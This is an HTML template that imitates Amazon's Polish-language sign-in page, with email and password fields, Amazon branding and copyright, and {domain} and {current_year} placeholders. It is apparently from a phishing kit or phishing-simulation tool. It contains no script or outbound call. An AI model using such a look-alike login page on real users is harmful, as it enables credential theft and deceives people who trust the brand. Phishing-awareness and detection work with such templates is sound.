<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <link
      rel="icon"
      type="image/x-icon"
      href="{domain}/static/amazon-favicon.png"
    />
    <title>Zaloguj się</title>
    <style type="text/css">
      body {
        background-color: #ffffff;
        margin: 0 auto;
        width: 348px;
        margin-top: 20px;
        font-family: Arial, sans-serif;
        font-size: 13px;
        line-height: 19px;
      }
      .amazon-logo {
        width: 103px;
        height: auto;
        display: block;
        margin-left: auto;
        margin-right: auto;
      }
      .sign-in {
        margin-top: 20px;
        border: 1px #ddd solid;
        padding: 25px 25px 15px 25px;
        border-radius: 4px;
        margin-bottom: 13px;
      }
      .sign-in-text {
        font-weight: 400;
        font-size: 28px;
        line-height: 1.2;
        padding-bottom: 4px;
      }
      .link-text {
        color: #0066c0;
        cursor: pointer;
      }
      label {
        display: block;
        margin-top: 10px;
        padding-left: 2px;
        padding-bottom: 2px;
        font-weight: 700;
      }
      input[type='email'],
      input[type='password'] {
        display: block;
        background-color: #fff;
        height: 19px;
        padding: 3px 7px;
        line-height: normal;
        border: 1px solid #a6a6a6;
        border-top-color: #949494;
        border-radius: 3px;
        outline: 0;
        width: 280px;
      }
      .submit-btn {
        display: block;
        cursor: pointer;
        margin-top: 20px;
        width: 296px;
        height: 27px;
        border: 1px solid #a6a6a6;
        border-radius: 3px;
        background-color: #f0c14b;
        border-color: #a88734 #9c7e31 #846a29;
        margin-bottom: 20px;
      }
      .t-and-c {
        font-size: 12px;
        display: block;
        margin-bottom: 15px;
      }
      hr {
        width: 33.5%;
        float: left;
        margin-top: 9px;
        background-color: #e7e7e7;
        height: 1px;
        display: block;
        border: none;
      }
      .new-to-amazon {
        float: left;
        padding: 0 10px 0 10px;
        font-size: 12px;
        color: #767676;
        font-weight: 400;
        font-family: inherit;
      }
      button {
        cursor: pointer;
        margin-top: 10px;
        width: 100%;
        height: 27px;
        border: 1px solid #adb1b8;
        border-radius: 3px;
        background-color: #e7e9ec;
      }
      .footer-body {
        font-size: 12px;
        margin-top: 20px;
        width: 100%;
        text-align: center;
      }
      .footer-item {
        padding-right: 8px;
        padding-left: 8px;
        color: #0066c0;
        cursor: pointer;
      }
      .copyright-text {
        display: block;
        color: #555;
        font-size: 11px;
        padding-top: 5px;
        overflow: hidden;
        white-space: nowrap;
      }
    </style>
  </head>

  <body>
    <img src="{domain}/static/amazon-logo.png" class="amazon-logo" />
    <div class="sign-in">
      <span class="sign-in-text">Zaloguj się</span>
      <form method="post">
        <label>Adres e-mail</label>
        <input type="email" required />
        <label>Hasło</label>
        <input type="password" required />
        <input type="submit" class="submit-btn" value="Zaloguj" />
      </form>
      <span class="t-and-c">
        Logując się, wyrażasz zgodę na 
        <span class="link-text">Warunki użytkowania Amazon</span> i
        <span class="link-text">Politykę prywatności</span>.
      </span>

      <span class="link-text">Potrzebujesz pomocy?</span>
    </div>

    <hr />
    <span class="new-to-amazon">Nie mam konta</span>
    <hr />

    <button>Utwórz konto Amazon</button>

    <div class="footer-body">
      <span class="footer-item">Warunki użytkowania</span>
      <span class="footer-item">Polityka prywatności</span>
      <span class="footer-item">Pomoc</span>

      <span class="copyright-text">
        © 1996-{current_year}, Amazon.com, Inc. lub podmioty powiązane
      </span>
    </div>
  </body>
</html>